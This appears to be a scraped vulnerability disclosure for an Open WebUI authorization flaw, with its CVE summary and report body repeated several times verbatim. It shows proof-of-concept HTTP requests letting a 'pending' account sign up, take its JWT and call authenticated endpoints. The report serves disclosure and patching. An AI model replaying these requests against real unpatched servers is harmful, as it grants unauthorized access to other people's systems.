CVE-2026-44567

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.1.124, the API does not properly validate that the user has an authorized user role of user. By default, when Open WebUI is configured with new sign-ups enabled, the default user role is set to pending. In this configuration, an administrator is required to go into the Admin management panel following a new user registration and reconfigure the user to have a role of either user or admin before that user is able to access the web application. This vulnerability is fixed in 0.1.124.

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.1.124, the API does not properly validate that the user has an authorized user role of user. By default, when Open WebUI is configured with new sign-ups enabled, the default user role is set to pending. In this configuration, an administrator is required to go into the Admin management panel following a new user registration and reconfigure the user to have a role of either user or admin before that user is able to access the web application. This vulnerability is fixed in 0.1.124.

CONFIDENTIAL

Vulnerability Disclosure Analysis Documentation

Vulnerability Details

| # | Field | Value | |---|-------|-------| | 1 | Discoverer | Taylor Pennington of KoreLogic, Inc. | | 2 | Date Submitted | June 11, 2024 | | 3 | Title | Open WebUI Improper Authorization Control | | 5 | Affected Vendor | Open WebUI | | 6 | Affected Product(s) | Open WebUI (Formerly Ollama WebUI) | | 7 | Affected Version(s) | 0.1.105 | | 8 | Platform/OS | Debian GNU/Linux 12 (bookworm) | | 9 | Vector | HTTP web interface | | 10 | CWE | 285 Improper Authorization |

4. High-level Summary

There is a missing authorization check affecting user accounts with a pending status allowing the user to make authenticated API calls as a user context.

11. Technical Analysis

The Open WebUI web application has three user role classifications: user, admin, and pending. By default, when Open WebUI is configured with new sign-ups enabled, the default user role is set to pending. In this configuration, an administrator is required to go into the Admin management panel following a new user registration and reconfigure the user to have a role of either user or admin before that user is able to access the web application. However, this check is only enforced at the client presentation layer, the API does not properly validate that the user has an authorized user role of user.

Request

POST /api/v1/auths/signup HTTP/1.1
Host: openwebui.example.com
Content-Length: 60

{ 
 "name": "", 
 "email": "[email protected]", 
 "password": "a" 
 }

Response

HTTP/1.1 200 OK
...

{
"id": "f839557a-031a-47a5-9999-0b0998f8f959",
"email": "[email protected]",
"name": "",
"role": "pending",
"profile_image_url": "/user.png",
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs",
"token_type": "Bearer"
}

An attacker can then use the JWT in the above response to make direct API calls or they can forge the authentication response and use the web UI.

With the JWT, an attacker can now query the LLM. However, for this demonstration we will query the /ollama/api/tags endpoint and get a list of available models as this is an authenticated endpoint. Attempting to make this request without a valid JWT returns an HTTP 401 Unauthorized response.

Request

GET /ollama/api/tags HTTP/1.1
Host: openwebui.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs

Response

HTTP/1.1 200 OK
...

{
"models": [
    {
    "name": "ollama.com/emsi/mixtral-8x22b:latest",
    "model": "ollama.com/emsi/mixtral-8x22b:latest",
    "modified_at": "2024-04-12T17:27:51.479356401-04:00",
    "size": 79509285991,
    "digest": "9b000033acd802656a652c7df4e25300a61d903cd3c8eb065a50aaace484c319",
    "details": {
        "parent_model": "",
        "format": "gguf",
        "family": "llama",
        "families": ["llama"],
        "parameter_size": "141B",
        "quantization_level": "Q4_0"
    },
    "urls": [0]
    },
    ...
]
}

The logic for this endpoint can be seen here: https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L163-L180

As shown below, the login checks if url_idx is None and if so, call get_all_mdoels and assign the result to models after that the logic checks if app.state.MODEL_FILTER_ENABLED is true and if not, it returns the result. As MODEL_FILTER_ENABLED is not configured by default, the application will not attempt to further validate the user.

@app.get("/api/tags")
@app.get("/api/tags/{url_idx}")
async def get_ollama_tags(
    url_idx: Optional[int] = None, user=Depends(get_current_user)
):
    if url_idx == None:
       …

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.1.124, the API does not properly validate that the user has an authorized user role of user. By default, when Open WebUI is configured with new sign-ups enabled, the default user role is set to pending. In this configuration, an administrator is required to go into the Admin management panel following a new user registration and reconfigure the user to have a role of either user or admin before that user is able to access the web application. This vulnerability is fixed in 0.1.124.

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.1.124, the API does not properly validate that the user has an authorized user role of user. By default, when Open WebUI is configured with new sign-ups enabled, the default user role is set to pending. In this configuration, an administrator is required to go into the Admin management panel following a new user registration and reconfigure the user to have a role of either user or admin before that user is able to access the web application. This vulnerability is fixed in 0.1.124.

CONFIDENTIAL

Vulnerability Disclosure Analysis Documentation

Vulnerability Details

| # | Field | Value | |---|-------|-------| | 1 | Discoverer | Taylor Pennington of KoreLogic, Inc. | | 2 | Date Submitted | June 11, 2024 | | 3 | Title | Open WebUI Improper Authorization Control | | 5 | Affected Vendor | Open WebUI | | 6 | Affected Product(s) | Open WebUI (Formerly Ollama WebUI) | | 7 | Affected Version(s) | 0.1.105 | | 8 | Platform/OS | Debian GNU/Linux 12 (bookworm) | | 9 | Vector | HTTP web interface | | 10 | CWE | 285 Improper Authorization |

4. High-level Summary

There is a missing authorization check affecting user accounts with a pending status allowing the user to make authenticated API calls as a user context.

11. Technical Analysis

The Open WebUI web application has three user role classifications: user, admin, and pending. By default, when Open WebUI is configured with new sign-ups enabled, the default user role is set to pending. In this configuration, an administrator is required to go into the Admin management panel following a new user registration and reconfigure the user to have a role of either user or admin before that user is able to access the web application. However, this check is only enforced at the client presentation layer, the API does not properly validate that the user has an authorized user role of user.

Request

POST /api/v1/auths/signup HTTP/1.1
Host: openwebui.example.com
Content-Length: 60

{ 
 "name": "", 
 "email": "[email protected]", 
 "password": "a" 
 }

Response

HTTP/1.1 200 OK
...

{
"id": "f839557a-031a-47a5-9999-0b0998f8f959",
"email": "[email protected]",
"name": "",
"role": "pending",
"profile_image_url": "/user.png",
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs",
"token_type": "Bearer"
}

An attacker can then use the JWT in the above response to make direct API calls or they can forge the authentication response and use the web UI.

With the JWT, an attacker can now query the LLM. However, for this demonstration we will query the /ollama/api/tags endpoint and get a list of available models as this is an authenticated endpoint. Attempting to make this request without a valid JWT returns an HTTP 401 Unauthorized response.

Request

GET /ollama/api/tags HTTP/1.1
Host: openwebui.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs

Response

HTTP/1.1 200 OK
...

{
"models": [
    {
    "name": "ollama.com/emsi/mixtral-8x22b:latest",
    "model": "ollama.com/emsi/mixtral-8x22b:latest",
    "modified_at": "2024-04-12T17:27:51.479356401-04:00",
    "size": 79509285991,
    "digest": "9b000033acd802656a652c7df4e25300a61d903cd3c8eb065a50aaace484c319",
    "details": {
        "parent_model": "",
        "format": "gguf",
        "family": "llama",
        "families": ["llama"],
        "parameter_size": "141B",
        "quantization_level": "Q4_0"
    },
    "urls": [0]
    },
    ...
]
}

The logic for this endpoint can be seen here: https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L163-L180

As shown below, the login checks if url_idx is None and if so, call get_all_mdoels and assign the result to models after that the logic checks if app.state.MODEL_FILTER_ENABLED is true and if not, it returns the result. As MODEL_FILTER_ENABLED is not configured by default, the application will not attempt to further validate the user.

@app.get("/api/tags")
@app.get("/api/tags/{url_idx}")
async def get_ollama_tags(
    url_idx: Optional[int] = None, user=Depends(get_current_user)
):
    if url_idx == None:
       …

CONFIDENTIAL

Vulnerability Disclosure Analysis Documentation

Vulnerability Details

| # | Field | Value | |---|-------|-------| | 1 | Discoverer | Taylor Pennington of KoreLogic, Inc. | | 2 | Date Submitted | June 11, 2024 | | 3 | Title | Open WebUI Improper Authorization Control | | 5 | Affected Vendor | Open WebUI | | 6 | Affected Product(s) | Open WebUI (Formerly Ollama WebUI) | | 7 | Affected Version(s) | 0.1.105 | | 8 | Platform/OS | Debian GNU/Linux 12 (bookworm) | | 9 | Vector | HTTP web interface | | 10 | CWE | 285 Improper Authorization |

4. High-level Summary

There is a missing authorization check affecting user accounts with a pending status allowing the user to make authenticated API calls as a user context.

11. Technical Analysis

The Open WebUI web application has three user role classifications: user, admin, and pending. By default, when Open WebUI is configured with new sign-ups enabled, the default user role is set to pending. In this configuration, an administrator is required to go into the Admin management panel following a new user registration and reconfigure the user to have a role of either user or admin before that user is able to access the web application. However, this check is only enforced at the client presentation layer, the API does not properly validate that the user has an authorized user role of user.

Request

POST /api/v1/auths/signup HTTP/1.1
Host: openwebui.example.com
Content-Length: 60

{ 
 "name": "", 
 "email": "[email protected]", 
 "password": "a" 
 }

Response

HTTP/1.1 200 OK
...

{
"id": "f839557a-031a-47a5-9999-0b0998f8f959",
"email": "[email protected]",
"name": "",
"role": "pending",
"profile_image_url": "/user.png",
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs",
"token_type": "Bearer"
}

An attacker can then use the JWT in the above response to make direct API calls or they can forge the authentication response and use the web UI.

With the JWT, an attacker can now query the LLM. However, for this demonstration we will query the /ollama/api/tags endpoint and get a list of available models as this is an authenticated endpoint. Attempting to make this request without a valid JWT returns an HTTP 401 Unauthorized response.

Request

GET /ollama/api/tags HTTP/1.1
Host: openwebui.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs

Response

HTTP/1.1 200 OK
...

{
"models": [
    {
    "name": "ollama.com/emsi/mixtral-8x22b:latest",
    "model": "ollama.com/emsi/mixtral-8x22b:latest",
    "modified_at": "2024-04-12T17:27:51.479356401-04:00",
    "size": 79509285991,
    "digest": "9b000033acd802656a652c7df4e25300a61d903cd3c8eb065a50aaace484c319",
    "details": {
        "parent_model": "",
        "format": "gguf",
        "family": "llama",
        "families": ["llama"],
        "parameter_size": "141B",
        "quantization_level": "Q4_0"
    },
    "urls": [0]
    },
    ...
]
}

The logic for this endpoint can be seen here: https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L163-L180

As shown below, the login checks if url_idx is None and if so, call get_all_mdoels and assign the result to models after that the logic checks if app.state.MODEL_FILTER_ENABLED is true and if not, it returns the result. As MODEL_FILTER_ENABLED is not configured by default, the application will not attempt to further validate the user.

@app.get("/api/tags")
@app.get("/api/tags/{url_idx}")
async def get_ollama_tags(
    url_idx: Optional[int] = None, user=Depends(get_current_user)
):
    if url_idx == None:
       …